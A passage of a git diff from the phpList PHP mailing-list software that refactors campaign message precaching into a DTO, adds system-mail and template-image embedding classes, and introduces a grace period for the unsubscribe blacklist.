-            restore_error_handler();
+        return strip_tags($content) !== $content;
+    }
+
+    private function populateReplyTo(MessagePrecacheDto $messagePrecacheDto, $loadedMessageData, ?string $domain): void
+    {
+        // parse the reply-to field into its components - email and name
+        if (preg_match('/([^ ]+@[^ ]+)/', $loadedMessageData['replyto'], $regs)) {
+            // if there is an email in the from, rewrite it as "name <email>"
+            $loadedMessageData['replyto'] = str_replace($regs[0], '', $loadedMessageData['replyto']);
+            $replyToEmail = $regs[0];
+            // if the email has < and > take them out here
+            $replyToEmail = str_replace('<', '', $replyToEmail);
+            $replyToEmail = str_replace('>', '', $replyToEmail);
+            $messagePrecacheDto->replyToEmail = $replyToEmail;
+            // make sure there are no quotes around the name
+            $messagePrecacheDto->replyToName = str_replace('"', '', ltrim(rtrim($loadedMessageData['replyto'])));
+        } elseif (str_contains($loadedMessageData['replyto'], ' ')) {
+            // if there is a space, we need to add the email
+            $messagePrecacheDto->replyToName = $loadedMessageData['replyto'];
+            $messagePrecacheDto->replyToEmail = 'listmaster@' . $domain;
+        } elseif (!empty($loadedMessageData['replyto'])) {
+            $messagePrecacheDto->replyToEmail = $loadedMessageData['replyto'] . '@' . $domain;
+            //# makes more sense not to add the domain to the word, but the help says it does
+            //# so let's keep it for now
+            $messagePrecacheDto->replyToName = $loadedMessageData['replyto'] . '@' . $domain;
         }
+    }
 
-        if ($data === false) {
-            return null;
+    private function populateBasicFields(
+        MessagePrecacheDto $messagePrecacheDto,
+        array $loadedMessageData,
+        bool $forwardContent,
+    ): void {
+        $messagePrecacheDto->fromName = $loadedMessageData['fromname'];
+        $messagePrecacheDto->fromEmail = $loadedMessageData['fromemail'];
+        $messagePrecacheDto->to = $loadedMessageData['tofield'];
+
+        //0013076: different content when forwarding 'to a friend'
+        $messagePrecacheDto->subject = $forwardContent
+            ? stripslashes($loadedMessageData['forwardsubject'])
+            : $loadedMessageData['subject'];
+
+        //0013076: different content when forwarding 'to a friend'
+        $messagePrecacheDto->content = $forwardContent
+            ? stripslashes($loadedMessageData['forwardmessage'])
+            : $loadedMessageData['message'];
+        if ($this->useManualTextPart && !$forwardContent) {
+            $messagePrecacheDto->textContent = $loadedMessageData['textmessage'];
         }
 
-        return $data;
+        //0013076: different content when forwarding 'to a friend'
+        $messagePrecacheDto->footer = $forwardContent
+            ? stripslashes($loadedMessageData['forwardfooter'])
+            : $loadedMessageData['footer'];
+
+        if ($this->isHtml($messagePrecacheDto->footer)) {
+            $messagePrecacheDto->textFooter = ($this->html2Text)($messagePrecacheDto->footer);
+            $messagePrecacheDto->htmlFooter = $messagePrecacheDto->footer;
+        } else {
+            $messagePrecacheDto->textFooter = $messagePrecacheDto->footer;
+            $messagePrecacheDto->htmlFooter = ($this->textParser)($messagePrecacheDto->footer);
+        }
     }
 
-    private function buildBasicReplacements(Message $campaign, string $subject): array
+    private function applyTemplate(MessagePrecacheDto $messagePrecacheDto, $loadedMessageData): void
     {
-        [$fromName, $fromEmail] = $this->parseFromField($campaign->getOptions()->getFromField());
-        return [
-            '[subject]' => $subject,
-            '[id]' => (string)($campaign->getId() ?? ''),
-            '[fromname]' => $fromName,
-            '[fromemail]' => $fromEmail,
-        ];
+        if ($loadedMessageData['template']) {
+            $template = $this->templateRepository->findOneById($loadedMessageData['template']);
+            if ($template) {
+                $messagePrecacheDto->template = stripslashes($template->getContent());
+                $messagePrecacheDto->templateText = stripslashes($template->getText());
+                $messagePrecacheDto->templateId = $template->getId();
+            }
+        }
     }
 
-    private function parseFromField(string $fromField): array
+    private function applyRemoteContentIfPresent(MessagePrecacheDto $messagePrecacheDto, $loadedMessageData): bool
     {
-        $email = '';
-        if (preg_match('/([^\s<>"]+@[^\s<>"]+)/', $fromField, $match)) {
-            $email = str_replace(['<', '>'], '', $match[0]);
+        if (preg_match('/\[URL:([^\s]+)\]/i', $messagePrecacheDto->content, $regs)) {
+            $remoteContent = ($this->remotePageFetcher)($regs[1], []);
+
+            if ($remoteContent) {
+                $messagePrecacheDto->content = str_replace($regs[0], $remoteContent, $messagePrecacheDto->content);
+                $messagePrecacheDto->htmlFormatted = $this->isHtml($remoteContent);
+
+                //# 17086 - disregard any template settings when we have a valid remote URL
+                $messagePrecacheDto->template  = null;
+                $messagePrecacheDto->templateText = null;
+                $messagePrecacheDto->templateId = null;
+            } else {
+                $this->eventLogManager->log(
+                    page: 'unknown page',
+                    entry: 'Error fetching URL: '.$loadedMessageData['sendurl'].' cannot proceed',
+                );
+
+                return false;
+            }
         }
-        $name = trim(str_replace([$email, '"'], ['', ''], $fromField));
-        $name = trim(str_replace(['<', '>'], '', $name));
-        return [$name, $email];
+
+        return true;
     }
 
-    private function applyReplacements(?string $input, array $replacements): ?string
+    private function applyBasicReplacements(MessagePrecacheDto $messagePrecacheDto, $loadedMessageData): void
     {
-        if ($input === null) {
-            return null;
+        foreach (self::REPLACE_KEYS as $key) {
+            $replace = $loadedMessageData[$key];
+            $searchKey = '['. $key . ']';
+            // Replace in content except for user-specific URL
+            if (!$messagePrecacheDto->userSpecificUrl) {
+                $messagePrecacheDto->content = str_ireplace($searchKey, $replace, $messagePrecacheDto->content);
+            }
+            $messagePrecacheDto->textContent = str_ireplace($searchKey, $replace, $messagePrecacheDto->textContent);
+            $messagePrecacheDto->textFooter = str_ireplace($searchKey, $replace, $messagePrecacheDto->textFooter);
+            $messagePrecacheDto->htmlFooter = str_ireplace($searchKey, $replace, $messagePrecacheDto->htmlFooter);
         }
-        return str_ireplace(array_keys($replacements), array_values($replacements), $input);
     }
 
-    private function getFromCache(string $cacheKey): ?Message\MessageContent
+    private function populateAdminAttributes(MessagePrecacheDto $messagePrecacheDto, Message $campaign): void
     {
-        $cached = $this->cache->get($cacheKey);
-        if (is_array($cached)
-            && array_key_exists('subject', $cached)
-            && array_key_exists('text', $cached)
-            && array_key_exists('textMessage', $cached)
-            && array_key_exists('footer', $cached)
-        ) {
-            return new Message\MessageContent(
-                $cached['subject'],
-                $cached['text'],
-                $cached['textMessage'],
-                $cached['footer']
-            );
+        $ownerAttrValues = $this->adminAttreDefRepository->getForAdmin($campaign->getOwner());
+        foreach ($ownerAttrValues as $attr) {
+            $messagePrecacheDto->adminAttributes['OWNER.' . $attr['name']] = $attr['value'];
         }
 
-        return null;
+        $relatedAdmins = $this->adminRepository->getMessageRelatedAdmins($campaign->getId());
+        if (count($relatedAdmins) === 1) {
+            $listOwnerAttrValues = $this->adminAttreDefRepository->getForAdmin($relatedAdmins[0]);
+        } else {
+            $listOwnerAttrValues = $this->adminAttreDefRepository->getAllWithEmptyValues();
+        }
+
+        foreach ($listOwnerAttrValues as $attr) {
+            $messagePrecacheDto->adminAttributes['LISTOWNER.' . $attr['name']] = $attr['value'];
+        }
     }
 }
diff --git a/src/Domain/Messaging/Service/MessageProcessingPreparator.php b/src/Domain/Messaging/Service/MessageProcessingPreparator.php
index aee1d9e7..960e17e4 100644
--- a/src/Domain/Messaging/Service/MessageProcessingPreparator.php
+++ b/src/Domain/Messaging/Service/MessageProcessingPreparator.php
@@ -5,9 +5,7 @@
 namespace PhpList\Core\Domain\Messaging\Service;
 
 use PhpList\Core\Domain\Analytics\Service\LinkTrackService;
-use PhpList\Core\Domain\Configuration\Service\UserPersonalizer;
-use PhpList\Core\Domain\Messaging\Model\Message;
-use PhpList\Core\Domain\Messaging\Model\Message\MessageContent;
+use PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto;
 use PhpList\Core\Domain\Messaging\Repository\MessageRepository;
 use PhpList\Core\Domain\Subscription\Model\Subscriber;
 use PhpList\Core\Domain\Subscription\Repository\SubscriberRepository;
@@ -24,7 +22,6 @@ public function __construct(
         private readonly MessageRepository $messageRepository,
         private readonly LinkTrackService $linkTrackService,
         private readonly TranslatorInterface $translator,
-        private readonly UserPersonalizer $userPersonalizer,
     ) {
     }
 
@@ -63,35 +60,32 @@ public function ensureCampaignsHaveUuid(OutputInterface $output): void
      */
     public function processMessageLinks(
         int $campaignId,
-        MessageContent $content,
+        MessagePrecacheDto $cachedMessageDto,
         Subscriber $subscriber
-    ): MessageContent {
+    ): MessagePrecacheDto {
         if (!$this->linkTrackService->isExtractAndSaveLinksApplicable()) {
-            return $content;
+            return $cachedMessageDto;
         }
 
-        $savedLinks = $this->linkTrackService->extractAndSaveLinks($content, $subscriber->getId(), $campaignId);
-
+        $savedLinks = $this->linkTrackService->extractAndSaveLinks(
+            $cachedMessageDto,
+            $subscriber->getId(),
+            $campaignId,
+        );
         if (empty($savedLinks)) {
-            return $content;
+            return $cachedMessageDto;
         }
 
-        $htmlText = $content->getText();
-        $footer = $content->getFooter();
-        // todo: check other configured data that should be used in mail formatting/creation
-        if ($htmlText !== null) {
-            $htmlText = $this->replaceLinks($savedLinks, $htmlText);
-            $htmlText = $this->userPersonalizer->personalize($htmlText, $subscriber->getEmail());
-            $content->setText($htmlText);
+        // todo: check if getTextMessage should replace links as well
+        if ($cachedMessageDto->content) {
+            $cachedMessageDto->content = $this->replaceLinks($savedLinks, $cachedMessageDto->content);
         }
 
-        if ($footer !== null) {
-            $footer = $this->replaceLinks($savedLinks, $footer);
-            $footer = $this->userPersonalizer->personalize($footer, $subscriber->getEmail());
-            $content->setFooter($footer);
+        if ($cachedMessageDto->htmlFooter) {
+            $cachedMessageDto->htmlFooter = $this->replaceLinks($savedLinks, $cachedMessageDto->htmlFooter);
         }
 
-        return $content;
+        return $cachedMessageDto;
     }
 
     private function replaceLinks(array $savedLinks, string $htmlText): string
diff --git a/src/Domain/Messaging/Service/RateLimitedCampaignMailer.php b/src/Domain/Messaging/Service/RateLimitedCampaignMailer.php
index de2b73c1..fe1c64eb 100644
--- a/src/Domain/Messaging/Service/RateLimitedCampaignMailer.php
+++ b/src/Domain/Messaging/Service/RateLimitedCampaignMailer.php
@@ -4,6 +4,7 @@
 
 namespace PhpList\Core\Domain\Messaging\Service;
 
+use PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto;
 use PhpList\Core\Domain\Messaging\Model\Message;
 use PhpList\Core\Domain\Subscription\Model\Subscriber;
 use Symfony\Component\Mailer\Exception\TransportExceptionInterface;
@@ -20,23 +21,27 @@ public function __construct(MailerInterface $mailer, SendRateLimiter $limiter)
         $this->limiter = $limiter;
     }
 
-    public function composeEmail(Message $processed, Subscriber $subscriber, Message\MessageContent $content): Email
-    {
+    public function composeEmail(
+        Message $message,
+        Subscriber $subscriber,
+        MessagePrecacheDto $messagePrecacheDto,
+    ): Email {
         $email = new Email();
-        if ($processed->getOptions()->getFromField() !== '') {
-            $email->from($processed->getOptions()->getFromField());
+        if ($message->getOptions()->getFromField() !== '') {
+            $email->from($message->getOptions()->getFromField());
         }
 
-        if ($processed->getOptions()->getReplyTo() !== '') {
-            $email->replyTo($processed->getOptions()->getReplyTo());
+        if ($message->getOptions()->getReplyTo() !== '') {
+            $email->replyTo($message->getOptions()->getReplyTo());
         }
 
+        $html = $messagePrecacheDto->content . $messagePrecacheDto->htmlFooter;
+
         return $email
             ->to($subscriber->getEmail())
-            ->subject($content->getSubject())
-            // todo: check HTML2Text functionality
-            ->text($content->getTextMessage())
-            ->html($content->getText());
+            ->subject($messagePrecacheDto->subject)
+            ->text($messagePrecacheDto->textContent)
+            ->html($html);
     }
 
     /**
diff --git a/src/Domain/Messaging/Service/SystemMailConstructor.php b/src/Domain/Messaging/Service/SystemMailConstructor.php
new file mode 100644
index 00000000..f28e3b63
--- /dev/null
+++ b/src/Domain/Messaging/Service/SystemMailConstructor.php
@@ -0,0 +1,103 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Messaging\Service;
+
+use PhpList\Core\Domain\Common\Html2Text;
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+use PhpList\Core\Domain\Messaging\Repository\TemplateRepository;
+use PhpList\Core\Domain\Messaging\Service\Manager\TemplateImageManager;
+
+class SystemMailConstructor
+{
+    private ?string $poweredByText;
+
+    public function __construct(
+        private readonly Html2Text $html2Text,
+        private readonly ConfigProvider $configProvider,
+        private readonly TemplateRepository $templateRepository,
+        private readonly TemplateImageManager $templateImageManager,
+        private readonly bool $poweredByPhplist = false,
+    ) {
+        $this->poweredByText = $configProvider->getValue(ConfigOption::PoweredByText);
+    }
+
+    public function __invoke($message, string $subject = ''): array
+    {
+        [$htmlMessage, $textMessage] = $this->buildMessageBodies($message);
+
+        $htmlContent = $htmlMessage;
+        $textContent = $textMessage;
+
+        $templateId = $this->configProvider->getValue(ConfigOption::SystemMessageTemplate);
+        if ($templateId) {
+            $template = $this->templateRepository->findOneById((int)$templateId);
+            if ($template) {
+                $htmlTemplate = stripslashes($template->getContent());
+                $textTemplate = stripslashes($template->getText());
+                $htmlContent = str_replace('[CONTENT]', $htmlMessage, $htmlTemplate);
+                $htmlContent = str_replace('[SUBJECT]', $subject, $htmlContent);
+                $htmlContent = str_replace('[FOOTER]', '', $htmlContent);
+                if (!$this->poweredByPhplist) {
+                    $phpListPowered = preg_replace(
+                        '/src=".*power-phplist.png"/',
+                        'src="powerphplist.png"',
+                        $this->configProvider->getValue(ConfigOption::PoweredByImage),
+                    );
+                } else {
+                    $phpListPowered = $this->poweredByText;
+                }
+                if (str_contains($htmlContent, '[SIGNATURE]')) {
+                    $htmlContent = str_replace('[SIGNATURE]', $phpListPowered, $htmlContent);
+                } elseif (strpos($htmlContent, '</body>')) {
+                    $htmlContent = str_replace('</body>', $phpListPowered.'</body>', $htmlContent);
+                } else {
+                    $htmlContent .= $phpListPowered;
+                }
+                $htmlContent = $this->templateImageManager->parseLogoPlaceholders($htmlContent);
+                $textContent = str_replace('[CONTENT]', $textMessage, $textTemplate);
+                $textContent = str_replace('[SUBJECT]', $subject, $textContent);
+                $textContent = str_replace('[FOOTER]', '', $textContent);
+                $phpListPowered = trim(($this->html2Text)($this->poweredByText));
+                if (str_contains($textContent, '[SIGNATURE]')) {
+                    $textContent = str_replace('[SIGNATURE]', $phpListPowered, $textContent);
+                } else {
+                    $textContent .= "\n\n" . $phpListPowered;
+                }
+            }
+        }
+
+        return [$htmlContent, $textContent];
+    }
+
+    private function buildMessageBodies($message): array
+    {
+        $hasHTML = strip_tags($message) !== $message;
+
+        if ($hasHTML) {
+            $message = stripslashes($message);
+            $textMessage = ($this->html2Text)($message);
+            $htmlMessage = $message;
+        } else {
+            $textMessage = $message;
+            $htmlMessage = $message;
+            $htmlMessage = nl2br($htmlMessage);
+            //# make links clickable:
+            $htmlMessage = preg_replace('~https?://[^\s<]+~i', '<a href="$0">$0</a>', $htmlMessage);
+        }
+        //# add li-s around the lists
+        if (preg_match('/<ul>\s+(\*.*)<\/ul>/imsxU', $htmlMessage, $listsMatch)) {
+            $lists = $listsMatch[1];
+            $listsHTML = '';
+            preg_match_all('/\*([^\*]+)/', $lists, $matches);
+            foreach ($matches[1] as $item) {
+                $listsHTML .= '<li>' . $item . '</li>';
+            }
+            $htmlMessage = str_replace($listsMatch[0], '<ul>' . $listsHTML . '</ul>', $htmlMessage);
+        }
+
+        return [$htmlMessage, $textMessage];
+    }
+}
diff --git a/src/Domain/Messaging/Service/TemplateImageEmbedder.php b/src/Domain/Messaging/Service/TemplateImageEmbedder.php
new file mode 100644
index 00000000..1c86fea5
--- /dev/null
+++ b/src/Domain/Messaging/Service/TemplateImageEmbedder.php
@@ -0,0 +1,307 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Messaging\Service;
+
+use Exception;
+use PhpList\Core\Domain\Common\ExternalImageService;
+use PhpList\Core\Domain\Common\Model\ContentTransferEncoding;
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Service\Manager\ConfigManager;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+use PhpList\Core\Domain\Messaging\Model\TemplateImage;
+use PhpList\Core\Domain\Messaging\Repository\TemplateImageRepository;
+
+class TemplateImageEmbedder
+{
+
+    /** @var array<string,string> extension => mime */
+    private array $mimeMap = [
+        'gif'  => 'image/gif',
+        'jpg'  => 'image/jpeg',
+        'jpeg' => 'image/jpeg',
+        'jpe'  => 'image/jpeg',
+        'bmp'  => 'image/bmp',
+        'png'  => 'image/png',
+        'tif'  => 'image/tiff',
+        'tiff' => 'image/tiff',
+        'swf'  => 'application/x-shockwave-flash',
+    ];
+    public array $attachment = [];
+
+    public function __construct(
+        private readonly ConfigProvider $configProvider,
+        private readonly ConfigManager $configManager,
+        private readonly ExternalImageService $externalImageService,
+        private readonly TemplateImageRepository $templateImageRepository,
+        private readonly string $documentRoot,
+        private readonly string $editorImagesDir,
+        private readonly bool $embedExternalImages = false,
+        private readonly bool $embedUploadedImages = false,
+        private readonly ?string $uploadImagesDir = null,
+    ) {
+    }
+
+    public function __invoke(string $html, int $messageId): string
+    {
+        $templateId = (int)$this->configProvider->getValue(ConfigOption::SystemMessageTemplate);
+        $extensions = implode('|', array_keys($this->mimeMap));
+
+        if ($this->embedExternalImages) {
+            $html = $this->embedExternalImages($html, $messageId, $extensions);
+        }
+
+        preg_match_all('/"([^"]+\.('.$extensions.'))"/Ui', $html, $images);
+        $htmlImages = [];
+        $filesystemImages = [];
+        foreach ($images[1] as $img) {
+            if ($this->getTemplateImage($templateId, $img) !== null) {
+                $htmlImages[] = $img;
+                $html = str_replace($img, basename($img), $html);
+            }
+            if ($this->embedUploadedImages && $this->filesystemImageExists($img)) {
+                $filesystemImages[] = $img;
+                $html = str_replace($img, basename($img), $html);
+            }
+        }
+
+        if (!empty($htmlImages)) {
+            $html = $this->embedTemplateImages($html, $templateId, $htmlImages);
+        }
+
+        if (!empty($filesystemImages)) {
+            $html = $this->embedFilesystemImages($html, $filesystemImages);
+        }
+
+        return $html;
+    }
+
+    private function getFilesystemImage(string $filename): string
+    {
+        $localFile = basename(urldecode($filename));
+        $pageRoot = $this->configProvider->getValue(ConfigOption::PageRoot);
+        $candidates = [];
+
+        if ($this->uploadImagesDir) {
+            $imageRoot = $this->configProvider->getValue(ConfigOption::UploadImageRoot);
+            $candidates[] = [
+                'path' => $imageRoot . $localFile,
+                'config' => null,
+            ];
+
+            $candidates[] = [
+                'path' => $this->documentRoot . $localFile,
+                'config' => $this->documentRoot,
+            ];
+
+            $candidates[] = [
+                'path' => $this->documentRoot . '/' . $this->uploadImagesDir . '/image/' . $localFile,
+                'config' => $this->documentRoot . '/' . $this->uploadImagesDir . '/image/',
+            ];
+
+            $candidates[] = [
+                'path' => $this->documentRoot . '/' . $this->uploadImagesDir . '/' . $localFile,
+                'config' => $this->documentRoot . '/' . $this->uploadImagesDir . '/',
+            ];
+        } else {
+            $elements = parse_url($filename);
+            $parsedFile = basename($elements['path'] ?? $localFile);
+
+            $candidates[] = [
+                'path' => $this->documentRoot . $pageRoot . '/' . $this->editorImagesDir . '/' . $parsedFile,
+                'config' => null,
+            ];
+
+            $candidates[] = [
+                'path' => $this->documentRoot . $pageRoot . '/' . $this->editorImagesDir . '/image/' . $parsedFile,
+                'config' => null,
+            ];
+
+            $candidates[] = [
+                'path' => '../' . $this->editorImagesDir . '/' . $parsedFile,
+                'config' => null,
+            ];
+
+            $candidates[] = [
+                'path' => '../' . $this->editorImagesDir . '/image/' . $parsedFile,
+                'config' => null,
+            ];
+        }
+
+        foreach ($candidates as $candidate) {
+            if (is_file($candidate['path'])) {
+                if ($candidate['config'] !== null) {
+                    $this->configManager->create(
+                        ConfigOption::UploadImageRoot->value,
+                        $candidate['config'],
+                        false,
+                        'string'
+                    );
+                }
+
+                return base64_encode(file_get_contents($candidate['path']));
+            }
+        }
+
+        return '';
+    }
+
+    private function addHtmlImage(string $contents, $name = '', $contentType = 'application/octet-stream'): string
+    {
+        $cid = bin2hex(random_bytes(16));
+        $this->addStringEmbeddedImage(base64_decode($contents), $cid, $name, 'base64', $contentType);
+
+        return $cid;
+    }
+
+    /**
+     * @throws Exception
+     */
+    private function addStringEmbeddedImage(
+        $string,
+        $cid,
+        $name = '',
+        $encoding = 'base64',
+        $type = '',
+        $disposition = 'inline'
+    ): void {
+        //If a MIME type is not specified, try to work it out from the name
+        if ('' === $type && !empty($name)) {
+            $type = mime_content_type($name);
+        }
+
+        if (ContentTransferEncoding::tryFrom($encoding) === null) {
+            throw new Exception('encoding ' . $encoding);
+        }
+
+        $this->attachment[] = [
+            0 => $string,
+            1 => $name,
+            2 => $name,
+            3 => $encoding,
+            4 => $type,
+            5 => true,
+            6 => $disposition,
+            7 => $cid,
+        ];
+    }
+
+    private function filesystemImageExists($filename): bool
+    {
+        //#  find the image referenced and see if it's on the server
+        $imageRoot = $this->configProvider->getValue(ConfigOption::UploadImageRoot);
+        $pageRoot = $this->configProvider->getValue(ConfigOption::UploadImageRoot);
+
+        $elements = parse_url($filename);
+        $localFile = basename($elements['path']);
+        $localFile = urldecode($localFile);
+
+        if ($this->uploadImagesDir) {
+            return
+                is_file($this->documentRoot.'/'.$this->uploadImagesDir.'/image/'.$localFile)
+                || is_file($this->documentRoot.'/'.$this->uploadImagesDir.'/'.$localFile)
+                //# commandline
+                || is_file($imageRoot.'/'.$localFile);
+        } else {
+            return
+                is_file($this->documentRoot . $pageRoot . '/' . $this->editorImagesDir . '/image/' . $localFile)
+                || is_file($pageRoot . '/' . $this->editorImagesDir . '/' . $localFile)
+                //# commandline
+                || is_file('../' . $this->editorImagesDir . '/image/' . $localFile)
+                || is_file('../' . $this->editorImagesDir . '/' . $localFile);
+        }
+    }
+
+    private function getTemplateImage($templateId, $filename): ?TemplateImage
+    {
+        if (basename($filename) === 'powerphplist.png' || str_starts_with($filename, 'ORGANISATIONLOGO')) {
+            $templateId = 0;
+        }
+
+        return $this->templateImageRepository->findByTemplateIdAndFilename($templateId, $filename);
+    }
+
+    private function embedExternalImages(string $html, int $messageId, string $extensions): string
+    {
+        $externalImages = [];
+        $matchedImages = [];
+        $pattern = sprintf(
+            '~="(https?://(?!%s)([^"]+\.(%s))([\\?/][^"]+)?)"~Ui',
+            preg_quote($this->configProvider->getValue(ConfigOption::Website)),
+            $extensions
+        );
+        preg_match_all($pattern, $html, $matchedImages);
+
+        foreach ($matchedImages[1] as $index => $url) {
+            if ($this->externalImageService->cache($url, $messageId)) {
+                $externalImages[] = $url
+                    . '~^~'
+                    . basename($matchedImages[2][$index])
+                    . '~^~'
+                    . strtolower($matchedImages[3][$index]);
+            }
+        }
+
+        if (!empty($externalImages)) {
+            $externalImages = array_unique($externalImages);
+
+            foreach ($externalImages as $file) {
+                $externalImage = explode('~^~', $file);
+                $image = $this->externalImageService->getFromCache($externalImage[0], $messageId);
+                if ($image) {
+                    $contentType = $this->mimeMap[$externalImage[2]];
+                    $cid = $this->addHtmlImage($image, $externalImage[1], $contentType);
+
+                    if (!empty($cid)) {
+                        $html = str_replace($externalImage[0], sprintf('cid:%s', $cid), $html);
+                    }
+                }
+            }
+        }
+
+        return $html;
+    }
+
+    private function embedTemplateImages(string $html, int $templateId, array $htmlImages): string
+    {
+        // If duplicate images are embedded, they may show up as attachments, so remove them.
+        $htmlImages = array_unique($htmlImages);
+        sort($htmlImages);
+        foreach ($htmlImages as $file) {
+            $image = $this->getTemplateImage($templateId, $file);
+            if ($image) {
+                $contentType = $this->mimeMap[strtolower(
+                    substr($file, strrpos($file, '.') + 1)
+                )];
+                $cid = $this->addHtmlImage($image->getData(), basename($file), $contentType);
+                if (!empty($cid)) {
+                    $html = str_replace(basename($file), sprintf('cid:%s', $cid), $html);
+                }
+            }
+        }
+
+        return $html;
+    }
+
+    private function embedFilesystemImages(array|string $html, array $filesystemImages): string
+    {
+        // If duplicate images are embedded, they may show up as attachments, so remove them.
+        $filesystemImages = array_unique($filesystemImages);
+        sort($filesystemImages);
+        foreach ($filesystemImages as $file) {
+            $image = $this->getFilesystemImage($file);
+            if ($image) {
+                $contentType = $this->mimeMap[strtolower(
+                    substr($file, strrpos($file, '.') + 1)
+                )];
+                $cid = $this->addHtmlImage($image, basename($file), $contentType);
+                if (!empty($cid)) {
+                    $html = str_replace(basename($file), sprintf('cid:%s', $cid), $html);
+                }
+            }
+        }
+
+        return $html;
+    }
+}
diff --git a/src/Domain/Subscription/Model/Dto/AttributeDefinitionDto.php b/src/Domain/Subscription/Model/Dto/AttributeDefinitionDto.php
index 73df4b93..1083cf29 100644
--- a/src/Domain/Subscription/Model/Dto/AttributeDefinitionDto.php
+++ b/src/Domain/Subscription/Model/Dto/AttributeDefinitionDto.php
@@ -10,7 +10,6 @@
 class AttributeDefinitionDto
 {
     /**
-     * @SuppressWarnings("BooleanArgumentFlag")
      * @param DynamicListAttrDto[] $options
      * @throws InvalidArgumentException
      */
diff --git a/src/Domain/Subscription/Model/Dto/CreateSubscriberListDto.php b/src/Domain/Subscription/Model/Dto/CreateSubscriberListDto.php
index 7bd7291d..1575add6 100644
--- a/src/Domain/Subscription/Model/Dto/CreateSubscriberListDto.php
+++ b/src/Domain/Subscription/Model/Dto/CreateSubscriberListDto.php
@@ -6,9 +6,6 @@
 
 class CreateSubscriberListDto
 {
-    /**
-     * @SuppressWarnings("BooleanArgumentFlag")
-     */
     public function __construct(
         public readonly string $name,
         public readonly bool $isPublic = false,
diff --git a/src/Domain/Subscription/Model/Dto/SubscriberImportOptions.php b/src/Domain/Subscription/Model/Dto/SubscriberImportOptions.php
index 8a180e03..01f92ec2 100644
--- a/src/Domain/Subscription/Model/Dto/SubscriberImportOptions.php
+++ b/src/Domain/Subscription/Model/Dto/SubscriberImportOptions.php
@@ -6,9 +6,6 @@
 
 class SubscriberImportOptions
 {
-    /**
-     * @SuppressWarnings("BooleanArgumentFlag")
-     */
     public function __construct(
         public readonly bool $updateExisting = false,
         public readonly array $listIds = [],
diff --git a/src/Domain/Subscription/Model/Subscriber.php b/src/Domain/Subscription/Model/Subscriber.php
index a0c35d73..967f7131 100644
--- a/src/Domain/Subscription/Model/Subscriber.php
+++ b/src/Domain/Subscription/Model/Subscriber.php
@@ -151,6 +151,7 @@ public function setConfirmed(bool $confirmed): self
         return $this;
     }
 
+    // todo: check where is this used and if should be replaced by isBlacklisted with grace time
     public function isBlacklisted(): bool
     {
         return $this->blacklisted;
diff --git a/src/Domain/Subscription/Repository/UserBlacklistRepository.php b/src/Domain/Subscription/Repository/UserBlacklistRepository.php
index 665deb64..1a556eb7 100644
--- a/src/Domain/Subscription/Repository/UserBlacklistRepository.php
+++ b/src/Domain/Subscription/Repository/UserBlacklistRepository.php
@@ -4,12 +4,23 @@
 
 namespace PhpList\Core\Domain\Subscription\Repository;
 
+use DateTimeImmutable;
+use Doctrine\ORM\EntityManagerInterface;
+use Doctrine\ORM\Mapping\ClassMetadata;
 use PhpList\Core\Domain\Common\Repository\AbstractRepository;
 use PhpList\Core\Domain\Subscription\Model\UserBlacklist;
 use PhpList\Core\Domain\Subscription\Model\UserBlacklistData;
 
 class UserBlacklistRepository extends AbstractRepository
 {
+    public function __construct(
+        EntityManagerInterface $entityManager,
+        ClassMetadata $class,
+        private readonly int $blacklistGraceTime,
+    ) {
+        parent::__construct($entityManager, $class);
+    }
+
     public function findBlacklistInfoByEmail(string $email): ?UserBlacklist
     {
         $queryBuilder = $this->getEntityManager()->createQueryBuilder();
@@ -30,4 +41,20 @@ public function findOneByEmail(string $email): ?UserBlacklist
             'email' => $email,
         ]);
     }
+
+    public function isEmailBlacklisted(string $email, ?bool $immediate = true): bool
+    {
+        // allow 5 minutes to send the last message acknowledging unsubscription
+        $grTime = $this->blacklistGraceTime;
+        $grace = $immediate ? 0 : (($grTime >= 1 && $grTime <= 15) ? $grTime : 5);
+        $cutoff = (new DateTimeImmutable())->modify('-' . $grace .' minutes');
+
+        return $this->createQueryBuilder('ub')
+            ->where('ub.email = :email')
+            ->andWhere('ub.added < :cutoff')
+            ->setParameter('email', $email)
+            ->setParameter('cutoff', $cutoff)
+            ->getQuery()
+            ->getOneOrNullResult() !== null;
+    }
 }
diff --git a/src/Domain/Subscription/Service/Manager/SubscribePageManager.php b/src/Domain/Subscription/Service/Manager/SubscribePageManager.php
index 485041a5..4f9474d5 100644
--- a/src/Domain/Subscription/Service/Manager/SubscribePageManager.php
+++ b/src/Domain/Subscription/Service/Manager/SubscribePageManager.php
@@ -23,9 +23,6 @@ public function __construct(
     ) {
     }
 
-    /**
-     * @SuppressWarnings("BooleanArgumentFlag")
-     */
     public function createPage(string $title, bool $active = false, ?Administrator $owner = null): SubscribePage
     {
         $page = new SubscribePage();
diff --git a/src/Domain/Subscription/Service/SubscriberCsvImporter.php b/src/Domain/Subscription/Service/SubscriberCsvImporter.php
index 8440d11e..f962c9ab 100644
--- a/src/Domain/Subscription/Service/SubscriberCsvImporter.php
+++ b/src/Domain/Subscription/Service/SubscriberCsvImporter.php
@@ -137,7 +137,6 @@ public function importFromCsv(
 
     /**
      * Import subscribers with an update strategy.
-     * @SuppressWarnings("BooleanArgumentFlag")
      * @param UploadedFile $file The uploaded CSV file
      * @return array Import statistics
      */
@@ -156,7 +155,6 @@ public function importAndUpdateFromCsv(
 
     /**
      * Import subscribers without updating existing ones.
-     * @SuppressWarnings("BooleanArgumentFlag")
      * @param UploadedFile $file The uploaded CSV file
      * @return array Import statistics
      */
@@ -210,6 +208,7 @@ private function processRow(
 
         [$listLines, $addedNewSubscriberToList] = $this->getHistoryListLines($subscriber, $options);
 
+        // todo: use isBlacklisted logic (grace time) not function from Subscriber class
         if ($subscriber->isBlacklisted()) {
             $stats['blacklisted']++;
         }
diff --git a/tests/Unit/Domain/Analytics/Service/LinkTrackServiceTest.php b/tests/Unit/Domain/Analytics/Service/LinkTrackServiceTest.php
index 9c42163e..a2a53892 100644
--- a/tests/Unit/Domain/Analytics/Service/LinkTrackServiceTest.php
